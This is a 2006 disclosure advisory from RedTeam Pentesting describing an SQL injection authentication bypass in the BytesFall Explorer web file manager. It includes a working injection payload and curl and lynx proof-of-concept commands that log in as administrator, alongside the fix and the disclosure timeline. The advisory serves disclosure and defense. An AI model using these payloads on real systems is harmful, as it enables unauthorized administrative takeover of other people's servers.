<<< Date Index >>>     <<< Thread Index >>>

Authentication bypass in BytesFall Explorer



Advisory: Authentication bypass in BytesFall Explorer

A malicious user can bypass authentication and take over the role of the
administrator of BytesFall Explorer by using an SQL injection. Several other
SQL injections are possible.


Details
=======

Product: BytesFall Explorer
Affected Versions: <= 0.0.7.1
Fixed Versions: 0.0.7.2
Vulnerability Type: SQL injection
Security-Risk: medium 
Vendor-URL: http://bfexplorer.sourceforge.net
Vendor-Status: informed, fixed version released
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2006-007.txt
Advisory-Status: private
CVE: CVE-2006-nnnn 
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-nnnn


Introduction
============

BytesFall Explorer is a web-based file manager programmed in PHP and 
JavaScript
and licensed under the GNU GPL. It allows to upload, download, view, edit,
copy, move/rename and change permissions of a single file/directory or a group
of files/directories.


More Details
============

Because of missing user input sanitizations a malicious user can modify an SQL
query in login/doLogin.php, line 13:

13   $User = bfRecord(sprintf("SELECT * FROM %susers WHERE username='%s';",
$tables_preffix, $username));

By using the username

' union select
1,'','','admin',$1$ol0uK1m4$gDzEIJEpe5Tj7G/f9Jite/,1,'','','','' from
bfe_users where ''='

and password 'redteam' a user can login and take over the role of the
administrator of BytesFall Explorer.

Many other SQL injections in other files exist that can be exploited.


Proof of Concept
================

Using curl:

curl -i http://www.example.com/bfExplorer/login/doLogin.php --data-binary
"username=' union select
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from
bfe_users where ''='&Login=Login&password=redteam"

or lynx:

printf "username=' union select
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from
bfe_users where ''='&Login=Login&password=redteam\n---" | lynx --post_data
http://www.example.com/bfExplorer/login/doLogin.php


Workaround
==========

Use PHP Magic Quotes.


Fix
===

Use PHP's mysql_escape_string() to sanitize variables containing user
input before using them in MySQL queries. A fixed version 0.0.7.2 of BytesFall
Explorer is available.

Security Risk
=============

RedTeam considers the security risc medium. BytesFall Explorer can be
compromised totally when PHP Magic Quotes are not enabled. Though Magic Quotes
do not represent real security, they are a workaround for these problems.


History
=======

2006-10-06 Discovery of the vulnerabilities
2006-10-06 Vendor is informed
2006-10-06 Vendor releases fixed version


References
==========

http://bfexplorer.sourceforge.net


RedTeam
=======

RedTeam Pentesting is offering individual penetration tests, short
pentests, performed by a team of specialised IT-security experts.
Hereby, security weaknesses in company networks are uncovered and can be
fixed immediately.

As there are only few experts in this field, RedTeam wants to share its
knowledge and enhance the public knowledge with research in security
related areas. The results are made available as public security
advisories.

More information about RedTeam can be found at
http://www.redteam-pentesting.de.

-- 
RedTeam Pentesting               Tel.: +49-241-963 1300
Dennewartstr. 25-27              Fax : +49-241-963 1304
52068 Aachen           http://www.redteam-pentesting.de

Attachment: pgpLVMIoHsaXq.pgp
Description: PGP signature